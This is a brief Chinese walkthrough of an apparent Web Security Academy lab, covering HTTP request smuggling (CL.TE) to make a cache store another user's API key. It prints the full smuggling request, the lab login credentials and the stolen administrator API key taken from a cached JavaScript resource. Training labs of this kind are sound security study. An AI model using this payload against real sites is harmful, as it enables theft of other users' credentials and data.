若要解决实验室问题,请执行请求走私攻击,以便下一个用户的请求导致其 API 密钥保存在缓存中。然后从缓存中检索受害用户的 API 密钥,并将其作为实验室解决方案提交。您需要等待 30 秒才能访问实验室,然后才能尝试诱骗受害者缓存其 API 密钥。

您可以使用以下凭据登录到自己的帐户:wiener:peter

登录到您的帐户并访问用户帐户页面。
请注意,响应没有任何反缓存标头。

走私请求以获取 API 密钥:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
X-Ignore: X

新建隐私窗口,代理burp,持续请求主页

发现信息被存储在/resources/js/tracking.js

<p>Your username is: administrator</p>
<div>Your API Key is: PMQiuF2UMlCG7p6kk6heXvephu1w7CWs</div>